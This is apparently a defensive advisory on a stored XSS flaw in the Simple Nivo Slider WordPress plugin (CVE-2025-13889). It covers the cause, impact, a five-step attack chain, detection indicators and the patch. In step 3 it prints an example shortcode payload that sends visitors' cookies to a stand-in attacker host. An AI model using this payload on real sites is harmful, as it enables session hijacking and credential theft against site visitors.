CVE-2025-13889: 
WordPress vulnerability analysis and mitigation

CVE-2025-13889 is a Stored Cross-Site Scripting (XSS) vulnerability in the Simple Nivo Slider plugin for WordPress, affecting all versions up to and including 0.5.6. The flaw exists in the id shortcode parameter due to insufficient input sanitization and output escaping, allowing authenticated attackers with Contributor-level access or above to inject arbitrary web scripts into pages. It was published on December 12, 2025, and assigned by Wordfence. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerable code resides in the plugin's shortcode handler, where the id parameter is passed without proper sanitization or escaping before being rendered in the page output (line 208 of simple-nivo-slider.php). An attacker with at least Contributor-level WordPress access can craft a post or page containing a malicious shortcode such as [nivo_slider id="<script>malicious_code</script>"], which will execute in the browser of any user who visits the affected page (Wordfence, WordPress Trac).

Successful exploitation allows an authenticated attacker to persistently inject malicious JavaScript into WordPress pages, which executes in the browsers of all subsequent visitors — including administrators. This can lead to session cookie theft, credential harvesting, unauthorized administrative actions (such as privilege escalation or backdoor installation), and defacement of site content. The scope is changed (S:C in CVSS), meaning the impact extends beyond the attacker's own session to affect other users of the site (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-13889 as of the available data. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum Contributor-level authentication, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Reconnaissance: Identify WordPress sites running the Simple Nivo Slider plugin version 0.5.6 or earlier, using tools like WPScan or by inspecting page source for plugin references.
2. Obtain Contributor Access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
3. Craft Malicious Shortcode: Create or edit a post/page and insert a shortcode with a malicious payload in the id parameter, e.g., [nivo_slider id="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish Content: Publish or submit the post/page for review. If published, the injected script is now stored in the database.
5. Trigger Execution: When any site visitor (including administrators) loads the affected page, the injected JavaScript executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• Database/Content: WordPress posts or pages containing [nivo_slider id=" shortcodes with embedded <script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded payloads in the id parameter.
• Logs: WordPress access logs showing unusual POST requests to wp-admin/post.php or the REST API from Contributor-level accounts inserting shortcode content with script tags.
• Network: Outbound requests from site visitors' browsers to unexpected external domains shortly after loading pages containing the Simple Nivo Slider shortcode (indicative of data exfiltration).
• File System: Unexpected modifications to plugin files in wp-content/plugins/simple-nivo-slider/ if an attacker escalated privileges and modified plugin code directly.

Users should update the Simple Nivo Slider plugin to version 0.5.7 or later, which addresses the insufficient sanitization of the id shortcode parameter. As an interim workaround, site administrators can restrict Contributor-level users from publishing content without review, or temporarily disable the plugin until the update is applied. Reviewing existing posts and pages for suspicious shortcode content is also recommended (Wordfence).

Wordfence disclosed the vulnerability as part of their weekly WordPress vulnerability report for December 8–14, 2025, noting the patch availability in version 0.5.7. No significant independent researcher commentary or broader media coverage has been identified beyond the standard vulnerability disclosure channels (Wordfence Blog).